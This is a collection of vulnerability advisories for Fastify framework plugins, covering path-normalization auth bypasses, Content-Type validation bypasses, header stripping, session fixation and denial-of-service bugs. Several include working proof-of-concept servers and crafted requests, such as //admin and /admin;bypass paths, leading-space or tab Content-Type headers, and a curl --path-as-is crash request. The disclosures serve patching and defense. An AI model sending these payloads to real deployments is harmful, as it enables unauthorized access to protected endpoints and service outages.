Impact: @fastify/reply-from versions from 8.3.1 up to but not including 12.6.4 build the internal URL cache key by concatenating the destination and source path without a delimiter. Different destination and source pairs can therefore produce the same key while resolving to different upstream URLs. When getUpstream selects an upstream from request data, a URL cached for one upstream can be reused for a request intended for another upstream, causing cross-upstream data access and modification. The default configuration is affected. Setting disableCache to true prevents the behavior. Patches: upgrade to @fastify/reply-from 12.6.4. Workarounds: pass disableCache: true when registering the plugin.

Impact: @fastify/http-proxy versions from 9.4.0 up to and including 11.5.0 fail to validate the resolved WebSocket destination path against the configured rewrite prefix. The WebSocket routing path in WebSocketProxy.findUpstream resolves the destination via the WHATWG URL constructor, which collapses dot segments, so a crafted upgrade request with path traversal sequences can escape the rewrite prefix and reach upstream endpoints that were not meant to be exposed by the proxy. This is a variant of CVE-2021-21322 in a code path that never went through the HTTP fix in fastify/reply-from. Exploitation requires a non-normalizing WebSocket client, since browsers and the ws package normalize the request path before sending, but raw HTTP clients or downstream proxies that forward the request target unchanged make the attack reachable in production topologies.

Patches: upgrade to @fastify/http-proxy 11.6.0.

Workarounds: none.

Impact: @fastify/http-proxy versions up to and including 11.5.0 fail to rewrite the request prefix when the prefix segment is URL-encoded. Fastify's router URL-decodes paths for route matching, but request.url retains the original encoded form, and the prefix-rewrite step uses a literal string replace against the decoded prefix. A request that encodes one or more characters of the configured prefix therefore matches the route but skips the rewrite, so the raw encoded path is forwarded to the upstream unchanged. The upstream then decodes the path and serves it, letting an attacker reach upstream paths that the proxy was configured to hide via rewritePrefix, including internal or administrative endpoints.

Patches: upgrade to @fastify/http-proxy 11.6.0.

Workarounds: none.

@fastify/express v4.0.4 and earlier contains a path handling bug in the onRegister function that causes middleware paths to be doubled when inherited by child plugins. When a child plugin is registered with a prefix that matches a middleware path, the middleware path is prefixed a second time, causing it to never match incoming requests. This results in complete bypass of Express middleware security controls, including authentication, authorization, and rate limiting, for all routes defined within affected child plugin scopes. No special configuration or request crafting is required.

Upgrade to @fastify/express v4.0.5 or later.

Summary

@fastify/express v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:

1. Duplicate slashes (//admin/dashboard) when ignoreDuplicateSlashes: true is configured 2. Semicolon delimiters (/admin;bypass) when useSemicolonDelimiter: true is configured

In both cases, Fastify's router normalizes the URL and matches the route, but @fastify/express passes the original un-normalized URL to Express middleware, which fails to match and is skipped.

Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in @fastify/middie via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but @fastify/express does not include the equivalent fixes.

Details

The vulnerability exists in @fastify/express's enhanceRequest function (index.js lines 43-46):

javascript const decodedUrl = decodeURI(url) req.raw.url = decodedUrl

The decodeURI() function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, find-my-way applies these normalizations during route matching, but @fastify/express passes the original URL to Express middleware.

Vector 1: Duplicate Slashes

When ignoreDuplicateSlashes: true is set, Fastify's find-my-way router normalizes //admin/dashboard to /admin/dashboard for route matching. However, Express middleware receives //admin/dashboard. Express's app.use('/admin', authMiddleware) expects paths to start with /admin/, but //admin does not match the /admin prefix pattern.

The attack sequence: 1. Client sends GET //admin/dashboard 2. Fastify's router normalizes this to /admin/dashboard and finds a matching route 3. enhanceRequest sets req.raw.url = "//admin/dashboard" (preserves double slash) 4. Express middleware app.use('/admin', authMiddleware) does not match //admin prefix 5. Authentication is bypassed, and the Fastify route handler executes

Vector 2: Semicolon Delimiters

When useSemicolonDelimiter: true is configured, the router uses find-my-way's safeDecodeURI() which treats semicolons as query string delimiters, splitting /admin;bypass into path /admin and querystring bypass for route matching. However, @fastify/express passes the full URL /admin;bypass to Express middleware.

Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like /admin to the regex /^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.

The attack flow: 1. Request GET /admin;bypass arrives 2. Fastify router: splits at ; — matches route GET /admin 3. Express middleware: regex /^\/admin\/?(?=\/|$)/i fails against /admin;bypass — middleware skipped 4. Route handler executes without authentication checks

PoC

Duplicate Slash Bypass

Save as server.js and run with node server.js:

js const fastify = require('fastify')

async function start() { const app = fastify({ logger: false, ignoreDuplicateSlashes: true, // documented Fastify option })

await app.register(require('@fastify/express'))

// Standard Express middleware auth pattern app.use('/admin', function expressAuthGate(req, res, next) { const auth = req.headers.authorization if (!auth || auth !== 'Bearer admin-secret-token') { res.statusCode = 403 res.setHeader('content-type', 'application/json') res.end(JSON.stringify({ error: 'Forbidden by Express middleware' })) return } next() })

// Protected route app.get('/admin/dashboard', async (request) => { return { message: 'Admin dashboard', secret: 'sensitive-admin-data' } })

await app.listen({ port: 3000 }) console.log('Listening on http://localhost:3000') } start()

bash Normal access — blocked by Express middleware $ curl -s http://localhost:3000/admin/dashboard {"error":"Forbidden by Express middleware"}

Double-slash bypass — Express middleware skipped, handler runs $ curl -s http://localhost:3000//admin/dashboard {"message":"Admin dashboard","secret":"sensitive-admin-data"}

Triple-slash also works $ curl -s http://localhost:3000///admin/dashboard {"message":"Admin dashboard","secret":"sensitive-admin-data"}

Multiple variants work: ///admin, /.//admin, //admin//dashboard, etc.

Semicolon Bypass

javascript const fastify = require('fastify') const http = require('http')

function get(port, url) { return new Promise((resolve, reject) => { http.get('http://localhost:' + port + url, (res) => { let data = '' res.on('data', (chunk) => data += chunk) res.on('end', () => resolve({ status: res.statusCode, body: data })) }).on('error', reject) }) }

async function test() { const app = fastify({ logger: false, routerOptions: { useSemicolonDelimiter: true } }) await app.register(require('@fastify/express')) // Auth middleware blocking unauthenticated access app.use('/admin', function(req, res, next) { if (!req.headers.authorization) { res.statusCode = 403 res.setHeader('content-type', 'application/json') res.end(JSON.stringify({ error: 'Forbidden' })) return } next() }) app.get('/admin', async () => ({ secret: 'classified-info' })) await app.listen({ port: 19900, host: '0.0.0.0' }) // Blocked: let r = await get(19900, '/admin') console.log('/admin:', r.status, r.body) // Output: /admin: 403 {"error":"Forbidden"} // BYPASS: r = await get(19900, '/admin;bypass') console.log('/admin;bypass:', r.status, r.body) // Output: /admin;bypass: 200 {"secret":"classified-info"} r = await get(19900, '/admin;') console.log('/admin;:', r.status, r.body) // Output: /admin;: 200 {"secret":"classified-info"} await app.close() } test()

Actual output: /admin: 403 {"error":"Forbidden"} /admin;bypass: 200 {"secret":"classified-info"} /admin;: 200 {"secret":"classified-info"}

The semicolon bypass works with any text after it: /admin;, /admin;x, /admin;jsessionid=123.

Impact

Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.

Duplicate slash vector affects applications that: 1. Use @fastify/express with ignoreDuplicateSlashes: true 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

Semicolon vector affects applications that: 1. Use @fastify/express with useSemicolonDelimiter: true (commonly enabled for Java application server compatibility, e.g., handling ;jsessionid= parameters) 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

The bypass works against all Express middleware that uses prefix path matching, including popular packages like express-basic-auth, custom authentication middleware, and rate limiting middleware.

The ignoreDuplicateSlashes and useSemicolonDelimiter options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.

Affected Versions

- @fastify/express v4.0.4 (latest) with Fastify 5.x - Requires ignoreDuplicateSlashes: true or useSemicolonDelimiter: true in Fastify configuration (via top-level option or routerOptions)

Variant Testing

Duplicate slashes:

| Request | Express Middleware | Handler Runs | Result | |---------|-------------------|--------------|--------| | GET /admin/dashboard | Invoked (blocks) | No | 403 Forbidden | | GET //admin/dashboard | Skipped | Yes | 200 OK — BYPASS | | GET ///admin/dashboard | Skipped | Yes | 200 OK — BYPASS | | GET /.//admin/dashboard | Skipped | Yes | 200 OK — BYPASS | | GET //admin//dashboard | Skipped | Yes | 200 OK — BYPASS | | GET /admin//dashboard | Invoked (blocks) | No | 403 Forbidden |

Semicolons:

| URL | Express MW Fires | Route Matches | Result | |---|---|---|---| | /admin | Yes | Yes (200/403) | Normal | | /admin; | No | Yes (200) | BYPASS | | /admin;bypass | No | Yes (200) | BYPASS | | /admin;x=1 | No | Yes (200) | BYPASS | | /admin;/dashboard | No | Yes (200, routes to /admin) | BYPASS | | /admin/dashboard;x | Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) |

The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., /admin/dashboard;x), Express's prefix regex succeeds because the /admin/ part matches before the semicolon appears.

Suggested Fix

@fastify/express should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically: - When ignoreDuplicateSlashes is enabled, apply FindMyWay.removeDuplicateSlashes() to req.raw.url before middleware execution - When useSemicolonDelimiter is enabled, strip semicolon-delimited parameters from the URL before passing to Express

This would match the normalization behavior that @fastify/middie already implements via sanitizeUrlPath() and normalizePathForMatching().

@fastify/middie versions 9.3.1 and earlier do not register inherited middleware directly on child plugin engine instances. When a Fastify application registers authentication middleware in a parent scope and then registers child plugins with @fastify/middie, the child scope does not inherit the parent middleware. This allows unauthenticated requests to reach routes defined in child plugin scopes, bypassing authentication and authorization checks. Upgrade to @fastify/middie 9.3.2 to fix this issue. There are no workarounds.

@fastify/middie versions 9.3.1 and earlier are vulnerable to middleware bypass when the deprecated Fastify ignoreDuplicateSlashes option is enabled. The middleware path matching logic does not account for duplicate slash normalization performed by Fastify's router, allowing requests with duplicate slashes to bypass middleware authentication and authorization checks. This only affects applications using the deprecated ignoreDuplicateSlashes option. Upgrade to @fastify/middie 9.3.2 to fix this issue. There are no workarounds other than disabling the ignoreDuplicateSlashes option.

@fastify/express versions 4.0.6 and earlier only rewrite the plugin prefix for middleware mount paths when the path argument is a string. Non-string mount paths (arrays of paths and regular expressions) are left unprefixed inside prefixed plugin scopes, so middleware registered with those forms does not match the actual prefixed request path. Applications that use path-scoped middleware for authentication, authorization, rate limiting, or auditing on routes inside a prefixed scope can be bypassed by sending a request to the prefixed route, because Fastify still matches the route but the middleware is skipped. Patches: upgrade to @fastify/express 4.0.7. Workarounds: use string mount paths instead of arrays or regular expressions in prefixed plugins, or register one use call per path.

@fastify/middie versions 9.1.0 through 9.3.2 decode the encoded slash %2F inside path parameter values before matching middleware paths, while Fastify's underlying router preserves the encoding during route lookup. The two layers disagree on the canonical request path, so the middleware fails to match a URL that the route handler does match. When middleware is used for authentication, authorization, rate limiting, or auditing on parameterized paths, an attacker can reach the protected handler by sending a single crafted URL with an encoded slash in the parameter position. The bypass is HTTP method agnostic and requires no authentication or special preconditions. Patches: upgrade to @fastify/middie 9.3.3. Workarounds: avoid parameterized middleware paths for security decisions, or enforce authentication at the route handler or via a Fastify hook that runs after the router has resolved the request.

@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from.

Upgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later.

@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.

A redirect vulnerability in the fastify-static module version >= 4.2.4 and < 4.4.1 allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash // followed by a domain: http://localhost:3000//a//youtube.com/%2e%2e%2f%2e%2e.A DOS vulnerability is possible if the URL contains invalid characters curl --path-as-is "http://localhost:3000//^/.."The issue shows up on all the fastify-static applications that set redirect: true option. By default, it is false.

This affects the package fastify-csrf before 3.0.0. 1. The generated cookie used insecure defaults, and did not have the httpOnly flag on: cookieOpts: { path: '/', sameSite: true } 2. The CSRF token was available in the GET query parameter

All versions of @fastify/oauth2 used a statically generated state parameter at startup time and were used across all requests for all users. The purpose of the Oauth2 state parameter is to prevent Cross-Site-Request-Forgery attacks. As such, it should be unique per user and should be connected to the user's session in some way that will allow the server to validate it. v7.2.0 changes the default behavior to store the state in a cookie with the http-only and same-site=lax attributes set. The state is now by default generated for every user. Note that this contains a breaking change in the checkStateFunction function, which now accepts the full Request object.

Fastify is a web framework with minimal overhead and plugin architecture. The attacker can use the incorrect Content-Type to bypass the Pre-Flight checking of fetch. fetch() requests with Content-Type’s essence as "application/x-www-form-urlencoded", "multipart/form-data", or "text/plain", could potentially be used to invoke routes that only accepts application/json content type, thus bypassing any CORS protection, and therefore they could lead to a Cross-Site Request Forgery attack. This issue has been patched in version 4.10.2 and 3.29.4. As a workaround, implement Cross-Site Request Forgery protection using @fastify/csrf'.

Summary A path normalization inconsistency in @fastify/middie can result in authentication/authorization bypass when using path-scoped middleware (for example, app.use('/secret', auth)).

When Fastify router normalization options are enabled (such as ignoreDuplicateSlashes, useSemicolonDelimiter, and related trailing-slash behavior), crafted request paths may bypass middleware checks while still being routed to protected handlers.

Impact An unauthenticated remote attacker can access endpoints intended to be protected by middleware-based auth/authorization controls by sending specially crafted URL paths (for example, //secret or /secret;foo=bar), depending on router option configuration.

This may lead to unauthorized access to protected functionality and data exposure.

Affected versions - Confirmed affected: @fastify/middie@9.1.0 - All versions prior to the patch are affected.

Patched versions - Fixed in: 9.2.0

Details The issue is caused by canonicalization drift between: 1. @fastify/middie path matching for app.use('/prefix', ...), and 2. Fastify/find-my-way route lookup normalization.

Because middleware and router did not always evaluate the same normalized path, auth middleware could be skipped while route resolution still succeeded.

Workarounds Until patched version is deployed: - Avoid relying solely on path-scoped middie guards for auth/authorization. - Enforce auth at route-level handlers/hooks after router normalization. - Disable risky normalization combinations only if operationally feasible.

Resources - Fluid Attacks Disclosure Policy: https://fluidattacks.com/advisories/policy - Fluid Attacks advisory URL: https://fluidattacks.com/advisories/jimenez

Credits - Cristian Vargas (Fluid Attacks Research Team) — discovery and report. - Oscar Uribe (Fluid Attacks) — coordination and disclosure.

@fastify/passport is a port of passport authentication library for the Fastify ecosystem. Applications using @fastify/passport in affected versions for user authentication, in combination with @fastify/session as the underlying session management mechanism, are vulnerable to session fixation attacks from network and same-site attackers. fastify applications rely on the @fastify/passport library for user authentication. The login and user validation are performed by the authenticate function. When executing this function, the sessionId is preserved between the pre-login and the authenticated session. Network and same-site attackers can hijack the victim's session by tossing a valid sessionId cookie in the victim's browser and waiting for the victim to log in on the website. As a solution, newer versions of @fastify/passport regenerate sessionId upon login, preventing the attacker-controlled pre-session cookie from being upgraded to an authenticated session. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Impact

The main repo of fastify use fast-content-type-parse to parse request Content-Type, which will trim after split.

The fastify-reply-from have not use this repo to unify the parse of Content-Type, which won't trim.

As a result, a reverse proxy server built with @fastify/reply-from could misinterpret the incoming body by passing an header ContentType: application/json ; charset=utf-8. This can lead to bypass of security checks.

Patches

@fastify/reply-from v9.6.0 include the fix.

Workarounds

There are no known workarounds.

References

Hackerone Report: https://hackerone.com/reports/2295770.

@fastify/multipart is a Fastify plugin for parsing the multipart content-type. Prior to versions 8.3.1 and 9.0.3, the saveRequestFiles function does not delete the uploaded temporary files when user cancels the request. The issue is fixed in versions 8.3.1 and 9.0.3. As a workaround, do not use saveRequestFiles.

Impact

In applications that specify different validation strategies for different content types, it's possible to bypass the validation by providing a slightly altered content type such as with different casing or altered whitespacing before ;.

Users using the the following pattern are affected:

js fastify.post('/', { handler(request, reply) { reply.code(200).send(request.body) }, schema: { body: { content: { 'application/json': { schema: { type: 'object', properties: { 'foo': { type: 'string', } }, required: ['foo'] } }, } } } })

User using the following pattern are not affected:

js fastify.post('/', { handler(request, reply) { reply.code(200).send(request.body) }, schema: { body: { type: 'object', properties: { 'foo': { type: 'string', } }, required: ['foo'] } } })

Patches

This was patched in v5.3.1, but unfortunately it did not cover all problems. This has been fully patched in v5.3.2. Version v4.9.0 was also affected by this issue. This has been fully patched in v4.9.1.

Workarounds

Do not specify multiple content types in the schema.

References Are there any links users can visit to find out more?

https://hackerone.com/reports/3087928

Impact

A validation bypass vulnerability exists in Fastify where request body validation schemas specified by Content-Type can be completely circumvented. By appending a tab character (\t) followed by arbitrary content to the Content-Type header, attackers can bypass body validation while the server still processes the body as the original content type.

For example, a request with Content-Type: application/json\ta will bypass JSON schema validation but still be parsed as JSON.

This vulnerability affects all Fastify users who rely on Content-Type-based body validation schemas to enforce data integrity or security constraints. The concrete impact depends on the handler implementation and the level of trust placed in the validated request body, but at the library level, this allows complete bypass of body validation for any handler using Content-Type-discriminated schemas.

This issue is a regression or missed edge case from the fix for a previously reported vulnerability.

Patches

This vulnerability has been patched in Fastify v5.7.2. All users should upgrade to this version or later immediately.

Workarounds

If upgrading is not immediately possible, user can implement a custom onRequest hook to reject requests containing tab characters in the Content-Type header:

javascript fastify.addHook('onRequest', async (request, reply) => { const contentType = request.headers['content-type'] if (contentType && contentType.includes('\t')) { reply.code(400).send({ error: 'Invalid Content-Type header' }) } })

Resources

- https://github.com/fastify/fastify/blob/759e9787b5669abf953068e42a17bffba7521348/lib/validation.js#L272 - https://github.com/fastify/fastify/blob/759e9787b5669abf953068e42a17bffba7521348/lib/content-type-parser.js#L125 - Fastify Validation and Serialization Documentation - https://hackerone.com/reports/3464114

Summary A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently. Parser path (lib/content-type.js, line ~67) applies trimStart() before processing: js const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase() // ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

js function getEssenceMediaType(header) { if (!header) return '' return header.split(/[ ;]/, 1)[0].trim().toLowerCase() } // ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!) // ''.trim() → '' // context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely. Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC

js const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', { schema: { body: { content: { 'application/json': { schema: { type: 'object', required: ['amount', 'recipient'], properties: { amount: { type: 'number', maximum: 1000 }, recipient: { type: 'string', maxLength: 50 }, admin: { type: 'boolean', enum: [false] } }, additionalProperties: false } } } } } }, async (request) => { return { processed: true, data: request.body }; });

(async () => { await fastify.ready();

// BLOCKED — normal request with invalid payload const res1 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': 'application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Normal:', res1.statusCode); // → 400 FSTERRVALIDATION

// BYPASS — single leading space const res2 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': ' application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Leading space:', res2.statusCode); // → 200 (validation bypassed!) console.log('Body:', res2.body);

await fastify.close(); })();

Output: Normal: 400 Leading space: 200 Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}

Impact Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses:

CVE | Vector | Patched in 5.8.4? -- | -- | -- CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes CVE-2026-25223 | Tab character (\t) | ✅ Yes CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes This finding | Leading space (\x20) | ❌ No

Recommended fix — add trimStart() before the split in getEssenceMediaType: js function getEssenceMediaType(header) { if (!header) return '' return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase() }

@fastify/accepts-serializer cached serializer-selection results keyed by the request Accept header without a size limit or eviction policy. A remote unauthenticated client could send many distinct but matching Accept header variants to make the cache grow unbounded, eventually exhausting the Node.js heap and crashing the process. Versions <= 6.0.3 are affected. Update to 6.0.4 or later, which bounds the cache via an LRU with a default size of 100 entries, configurable through the new cacheSize plugin option.

@fastify/middie versions 9.1.0 through 9.3.2 fail to guard the URL normalization step used by the standalone engine when incoming request paths contain malformed percent-encoded sequences. Inputs such as an incomplete percent escape or a truncated multibyte sequence cause the underlying decoder to throw synchronously, and the exception escapes the middie normalize step and terminates the Node.js process. The bypass affects applications that call middie.run directly on the standalone engine API, causing an immediate denial of service for all connected clients until restart. Applications using the Fastify plugin path are not affected because Fastifys error handler catches the exception. Patches: upgrade to @fastify/middie 9.3.3. Workarounds: migrate from the standalone engine API to the Fastify plugin path, where the framework error handler catches the exception.

@fastify/static up to and including version 10.1.0 fails to reject dot-dot path segments in request pathnames before the file-resolution stage. This is a bypass of the earlier fix for CVE-2026-6414, which only covered encoded forward slashes. Because the underlying send library normalizes dot segments before applying its own path-traversal guard, an unauthenticated attacker can bypass any route-scoped middleware and read files inside the static root that live under the guarded URL prefix. The bypass does not allow access outside the configured static root by itself, it defeats route-guard filtering only. The issue is patched in @fastify/static 10.1.1.

Fastify node module before 0.38.0 is vulnerable to a denial-of-service attack by sending a request with "Content-Type: application/json" and a very large payload.

This affects the package fastify-multipart before 5.3.1. By providing a name=constructor property it is still possible to crash the application. Note: This is a bypass of CVE-2020-8136 (https://security.snyk.io/vuln/SNYK-JS-FASTIFYMULTIPART-1290382).

Prototype pollution vulnerability in fastify-multipart < 1.0.5 allows an attacker to crash fastify applications parsing multipart requests by sending a specially crafted request.

@fastify/bearer-auth is a Fastify plugin to require bearer Authorization headers. @fastify/bearer-auth prior to versions 7.0.2 and 8.0.1 does not securely use crypto.timingSafeEqual. A malicious attacker could estimate the length of one valid bearer token. According to the corresponding RFC 6750, the bearer token has only base64 valid characters, reducing the range of characters for a brute force attack. Version 7.0.2 and 8.0.1 of @fastify/bearer-auth contain a patch. There are currently no known workarounds. The package fastify-bearer-auth, which covers versions 6.0.3 and prior, is also vulnerable starting at version 5.0.1. Users of fastify-bearer-auth should upgrade to a patched version of @fastify/bearer-auth.

fastify is a fast and low overhead web framework, for Node.js. Affected versions of fastify are subject to a denial of service via malicious use of the Content-Type header. An attacker can send an invalid Content-Type header that can cause the application to crash. This issue has been addressed in commit fbb07e8d and will be included in release version 4.8.1. Users are advised to upgrade. Users unable to upgrade may manually filter out http content with malicious Content-Type headers.